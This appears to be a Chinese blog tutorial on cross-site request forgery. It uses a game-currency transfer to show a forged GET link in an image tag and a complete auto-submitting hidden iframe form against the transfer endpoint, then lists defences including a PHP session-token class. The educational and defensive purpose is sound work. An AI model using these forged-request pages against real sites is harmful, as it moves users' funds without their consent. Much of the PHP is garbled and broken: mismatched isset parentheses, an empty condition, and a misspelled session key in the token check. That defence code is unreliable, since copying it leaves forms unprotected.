CSRF 的全名为 Cross-site request forgery,它的中文名为 跨站请求伪造(伪造跨站请求【这样读顺口一点】)
CSRF 是一种夹持用户在已经登陆的 web 应用程序上执行非本意的操作的攻击方式。相比于 XSS,CSRF 是利用了系统对页面浏览器的信任,XSS 则利用了系统对用户的信任。
下面为 CSRF 攻击原理图:
由上图分析我们可以知道构成 CSRF 攻击是有条件的:
1、客户端必须一个网站并生成 cookie 凭证存储在浏览器中
2、该 cookie 没有清除,客户端又 tab 一个页面进行访问别的网站
我们就以游戏虚拟币转账为例子进行分析
假设某游戏网站的虚拟币转账是采用 GET 方式进行操作的,样式如:
- 1 http: //www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
1、可以是采用图片隐藏,页面一打开就自动进行访问第三方文章:<img src='攻击链接'>
2、也可以采用 js 进行相应的操作
- http: //www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID为攻击的账号ID
1、假若客户端已经验证并登陆 www.game.com 网站,此时客户端浏览器保存了游戏网站的验证 cookie
2、客户端再 tab 另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站
3、浏览器将会携带该游戏网站的 cookie 进行访问,刷一下就没了 1000 游戏虚拟币
游戏网站负责人认识到了有被攻击的漏洞,将进行升级改进。
将由链接 GET 提交数据改成了表单提交数据
- //提交数据表单<form action="./Transfer.php" method="POST">
- <p>toUserId:<input type="text" name="toUserId" /</p>
- <p>vMoney:<input type="text" name="vMoney" /></p>
- <p><input type="submit" value="Transfer" /></p>
- </form>
Transfer.php
- 1php
- 2 session_start();
- 3 if(isset($_REQUEST['toUserId'] &&isset($_REQUEST['vMoney']))#验证
- 4 {
- 5 //相应的转账操作
- 6 }
- 7>
恶意攻击者将会观察网站的表单形式,并进行相应的测试。
首先恶意攻击者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)进行测试,发现仍然可以转账。
那么此时游戏网站所做的更改没起到任何的防范作用,恶意攻击者只需要像上面那样进行攻击即可达到目的。
总结:
1、网站开发者的错误点在于没有使用 $_POST 进行接收数据。当 $_REQUEST 可以接收 POST 和 GET 发来的数据,因此漏洞就产生了。
这一次,游戏网站开发者又再一次认识到了错误,将进行下一步的改进与升级,将采用 POST 来接收数据
Transfer.php
- 1php
- 2 session_start();
- 3 if(isset($_POST['toUserId'] &&isset($_POST['vMoney']))#验证
- 4 {
- 5 //相应的转账操作
- 6 }
- 7>
此时恶意攻击者就没有办法进行攻击了么?那是不可能的。
恶意攻击者根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,并且嵌入到 iframe 中
嵌套页面:(用户访问恶意攻击者主机的页面,即 tab 的新页面)
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title>
- 攻击者主机页面
- </title>
- <script type="text/javascript">
- function csrf() {
- window.frames['steal'].document.forms[0].submit();
- }
- </script>
- </head>
- <body onload="csrf()">
- <iframe name="steal" display="none" src="./xsrf.html">
- </iframe>
- </body>
- </html>
表单页面:(csrf.html)
- <!DOCTYPE html>
- <html>
- <head>
- <title>
- csrf
- </title>
- </head>
- <body>
- <form display="none" action="http://www.game.com/Transfer.php" method="post">
- <input type="hidden" name="toUserID" value="20">
- <input type="hidden" name="vMoney" value="1000">
- </form>
- </body>
- </html>
客户端访问恶意攻击者的页面一样会遭受攻击。
总结:
CSRF 攻击是源于 Web 的隐式身份验证机制!Web 的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的
服务器端防御:
1、重要数据交互采用 POST 进行接收,当然是用 POST 也不是万能的,伪造一个 form 表单即可破解
2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决 CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
3、验证 HTTP Referer 字段,该字段记录了此次 HTTP 请求的来源地址,最常见的应用是图片防盗链。PHP 中可以采用 APache URL 重写规则进行防御,可参考:http://www.cnblogs.com/phpstudy2015-6/p/6715892.html
4、为每个表单添加令牌 token 并验证
(可以使用 cookie 或者 session 进行构造。当然这个 token 仅仅只是针对 CSRF 攻击,在这前提需要解决好 XSS 攻击,否则这里也将会是白忙一场【XSS 可以偷取客户端的 cookie】)
CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。
鉴于此,我们将为每一个表单生成一个随机数秘钥,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
由于这个 token 是随机不可预测的并且是隐藏看不见的,因此恶意攻击者就不能够伪造这个表单进行 CSRF 攻击了。
要求:
1、要确保同一页面中每个表单都含有自己唯一的令牌
2、验证后需要删除相应的随机数
构造令牌类 Token.calss.php
- 1 php 2 class Token 3 {
- 4
- /**
- 5 * @desc 获取随机数
- 6 *
- 7 * @return string 返回随机数字符串
- 8 */
- 9 private
- function getTokenValue() 10 {
- 11
- return md5(uniqid(rand(), true).time());
- 12
- }
- 13 14
- /**
- 15 * @desc 获取秘钥
- 16 *
- 17 * @param $tokenName string | 与秘钥值配对成键值对存入session中(标识符,保证唯一性)
- 18 *
- 19 * @return array 返回存储在session中秘钥值
- 20 */
- 21 public
- function getToken($tokenName) 22 {
- 23 $token['name'] = $tokenName;#先将$tokenName放入数组中24 session_start();
- 25
- if (@$_SESSION[$tokenName])#判断该用户是否存储了该session 26 {#是,则直接返回已经存储的秘钥27 $token['value'] = $_SESSION[$tokenName];
- 28
- return $token;
- 29
- }
- 30
- else#否,则生成秘钥并保存31 {
- 32 $token['value'] = $this - >getTokenValue();
- 33 $_SESSION[$tokenName] = $token['value'];
- 34
- return $token;
- 35
- }
- 36
- }
- 37 38
- }
- 39#测试40 $csrf = new Token();
- 41 $name = 'form1';
- 42 $a = $csrf - >getToken($name);
- 43 echo "";
- 44 print_r($a);
- 45 echo "";
- 46 echo "";
- 47 print_r($_SESSION);
- 48 echo "";
- die;
- 49 50 ? >
表单中使用:
- 1php
- 2 session_start();
- 3 include("Token.class.php");
- 4 $token=new Token();
- 5 $arr=$token->getToken('transfer');#保证唯一性(标识符)
- 6> 7
- 8
- 9
- 10$arr['name'] ?>" value="$arr['value']?>" >11
- 12
验证:
- 1 php 2#转账表单验证3 session_start();
- 4
- if ($_POST['transfer'] == $_SESSION['transger'])#先检验秘钥5 {
- 6
- if ( && isset($_POST['toUserId'] && isset($_POST['vMoney']))#验证7 {
- 8 //相应的转账操作
- 9
- }
- 10
- }
- 11
- else 12 {
- 13
- return false;
- 14
- }
- 15 16 ? >
该方法套路:
1. 用户访问某个表单页面。
2. 服务端生成一个 Token,放在用户的 Session 中,或者浏览器的 Cookie 中。【这里已经不考虑 XSS 攻击】
3. 在页面表单附带上 Token 参数。
4. 用户提交请求后, 服务端验证表单中的 Token 是否与用户 Session(或 Cookies)中的 Token 一致,一致为合法请求,不是则非法请求。
1. 《浅谈 CSRF 攻击方式》
2. 《Web 安全之 CSRF 攻击》
(以上是自己的一些见解,若有不足或者错误的地方请各位指出)
作者:那一叶随风 http://www.cnblogs.com/phpstudy2015-6/
来源: http://www.cnblogs.com/phpstudy2015-6/p/6771239.html